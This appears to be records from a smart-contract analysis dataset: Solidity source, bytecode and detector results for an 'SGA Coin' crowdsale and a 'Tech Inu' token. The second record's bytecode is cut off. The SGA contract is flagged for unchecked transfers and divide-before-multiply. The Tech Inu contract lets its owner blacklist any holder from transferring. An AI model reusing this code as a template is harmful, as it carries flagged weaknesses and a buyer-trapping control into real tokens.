uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } event Burn(address indexed burner, uint indexed value); } contract SGACoin is BurnableToken { string public constant name = "SGA Coin"; string public constant symbol = "SGA"; uint32 public constant decimals = 18; uint256 public INITIAL_SUPPLY = 800000000 * 1 ether; function SGACoin() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract SGACrowdsale is Ownable { using SafeMath for uint; address multisig; uint restrictedPercent; address restricted; SGACoin public token = new SGACoin(); uint start; uint period; uint rate; function SGACrowdsale() { multisig = 0x0CeeD87a6b8ac86938B6c2d1a0fA2B2e9000Cf6c; restricted = 0x839D81F27B870632428fab6ae9c5903936a4E5aE; restrictedPercent = 20; rate = 3000000000000000000000; start = 1505260800; period = 60; } modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } function createTokens() saleIsOn payable { multisig.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); uint bonusTokens = 0; if(now < start + (period * 1 days).div(4)) { bonusTokens = tokens.div(4); } else if(now >= start + (period * 1 days).div(4) && now < start + (period * 1 days).div(4).mul(2)) { bonusTokens = tokens.div(10); } else if(now >= start + (period * 1 days).div(4).mul(2) && now < start + (period * 1 days).div(4).mul(3)) { bonusTokens = tokens.div(20); } uint tokensWithBonus = tokens.add(bonusTokens); token.transfer(msg.sender, tokensWithBonus); uint restrictedTokens = tokens.mul(restrictedPercent).div(100 - restrictedPercent); token.transfer(restricted, restrictedTokens); } function() external payable { createTokens(); } }
0x606060405236156100465763ffffffff60e060020a6000350416638da5cb5b8114610057578063b442726314610086578063f2fde38b14610090578063fc0c546a146100b1575b6100555b6100526100e0565b5b565b005b341561006257600080fd5b61006a6103f3565b604051600160a060020a03909116815260200160405180910390f35b6100556100e0565b005b341561009b57600080fd5b610055600160a060020a0360043516610402565b005b34156100bc57600080fd5b61006a61045f565b604051600160a060020a03909116815260200160405180910390f35b60008060008060055442118015610101575060065462015180026005540142105b151561010c57600080fd5b600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561014057600080fd5b61016d670de0b6b3a76400006101613460075461046e90919063ffffffff16565b9063ffffffff61049d16565b6006549094506000935061018d906201518002600463ffffffff61049d16565b600554014210156101b0576101a984600463ffffffff61049d16565b92506102ad565b6006546101c9906201518002600463ffffffff61049d16565b60055401421015801561020a575061020360026101f76004600654620151800261049d90919063ffffffff16565b9063ffffffff61046e16565b6005540142105b15610227576101a984600a63ffffffff61049d16565b92506102ad565b61025360026101f76004600654620151800261049d90919063ffffffff16565b9063ffffffff61046e16565b600554014210158015610294575061028d60036101f76004600654620151800261049d90919063ffffffff16565b9063ffffffff61046e16565b6005540142105b156102ad576102aa84601463ffffffff61049d16565b92505b5b5b6102bf848463ffffffff6104b916565b600454909250600160a060020a031663a9059cbb338460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561032157600080fd5b6102c65a03f1151561033257600080fd5b50505060405180519050506103676002546064036101616002548761046e90919063ffffffff16565b9063ffffffff61049d16565b600454600354919250600160a060020a039081169163a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156103d057600080fd5b6102c65a03f115156103e157600080fd5b505050604051805150505b5b50505050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461041d57600080fd5b600160a060020a038116151561043257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600454600160a060020a031681565b600082820283158061048a575082848281151561048757fe5b04145b151561049257fe5b8091505b5092915050565b60008082848115156104ab57fe5b0490508091505b5092915050565b60008282018381101561049257fe5b8091505b50929150505600a165627a7a7230582069e560b0f176a07447843399f68e4c2716ab638e63cc40d992975297df3265560029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
9,581
0xb3c7f9474788c8a9cd370e907e0a653eda599a01
//Tech Inu (TechInu) //Limit Buy yes //Cooldown yes //Bot Protect yes //Deflationary yes //Fee yes //Liqudity dev provides and lock //TG: https://t.me/techinuofficial //Website: TBA //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TechInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Tech Inu"; string private constant _symbol = "TechInu"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f5465636820496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f54656368496e7500000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742